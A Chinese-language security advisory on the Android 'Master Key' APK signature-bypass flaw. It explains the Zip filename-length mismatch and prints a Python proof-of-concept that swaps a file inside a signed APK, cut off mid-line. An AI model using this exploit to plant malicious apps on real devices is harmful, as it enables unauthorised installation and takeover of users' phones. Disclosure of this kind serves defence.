漏洞起因
设计错误
危险等级
高
影响系统
Google Android
不受影响系统
危害
远程攻击者可以利用漏洞可安装恶意程序并控制手机。
CVSSv2:
攻击所需条件
攻击者必须构建恶意文件,诱使用户访问。
漏洞信息
Google Android是一种以Linux为基础的开放源代码操作系统,主要使用于便携设备。
Google Android处理Master key存在一个安全漏洞,允许远程攻击者利用漏洞绕过签名,安装恶意程序并控制手机。
漏洞是由于android在解析Zip包时,没有校验ZipEntry和Header中的FileNameLength是否一致。允许攻击者构建恶意文件,绕过签名校验,未授权安装并控制系统。
测试方法
#!/usr/bin/python
import zipfile
import struct
import sys
# usage: ./pocB.py new.apk old.apk file data
zout = zipfile.ZipFile(sys.argv[1], “w”)
zin = zipfile.ZipFile(sys.argv[2], “r”)
replace = sys.argv[3]
new = open(sys.argv[4], ‘r’).read()
fp = zout.fp
for name in zin.namelist():
old = zin.read(name)
if name != replace:
zout.writestr(name, old, zipfile.ZIP_DEFLATED)
else:
assert len(new) <= len(old)
# write header, old data, and record offset
zout.writestr(name, old, zipfile.ZIP_STORED)
offset = fp.tell()
# return to name length, set to skip old data
fp.seek(-len(old) -len(name) -4, 1)
fp.write(struct.pack('
评论关闭。